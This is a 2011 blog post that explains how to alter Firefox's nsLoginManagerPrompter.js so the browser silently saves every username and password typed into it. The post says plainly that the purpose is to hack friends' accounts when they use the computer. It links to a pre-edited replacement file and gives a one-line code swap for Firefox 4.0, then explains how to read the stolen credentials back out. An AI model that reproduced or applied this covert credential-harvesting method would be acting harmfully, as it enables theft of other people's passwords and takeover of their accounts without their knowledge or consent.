Apr 29, 2011

Turn Your Firefox Into A Keylogger Without Any Software !

Here we go to learn that how to turn a Mozilla Firefox into an undetectable (FUD) keylogger. This keylogger will be used to store all the usernames and passwords that will be entered by the user. So that you can hack your friends accounts, whenever they were over your house. and the most interesting things is, this full process will be done without using any kind of software !
So let's follow some few easy steps to turn our firefox into a password stealer:

1) Close Firefox

2) Navigate to:

Windows - C:/Program Files/Mozilla Firefox/Components
Mac - Applications > Right click Firefox > Show Package Contents > Contents/MacOS/Components.

3) Find The Script Named " nsLoginManagerPrompter.js"

4) Now you just need to download the following file unzip it and simply overwrite the existing nsLoginManagerPrompter.js with it, it is one I have already edited and works.

From now on, when someone logs onto any site, they username and password will be saved automatically, without prompt!

To retrieve the account information, make sure Firefox is opened, go to Tools > Options... > Security Tab > click on saved passwords, then click on show passwords, and press yes!

Using Firefox 4.0:
Edit nsLoginManagerPrompter.js which is normally located in C:\Program Files\Mozilla Firefox\components\.
Replace the code from lines 800 - 869 with:
var pwmgr = this._pwmgr; pwmgr.addLogin(aLogin);
Save and replace original file.

Source: http://topone2u.blogspot.com/2011/04/turn-your-firefox-into-keylogger.html

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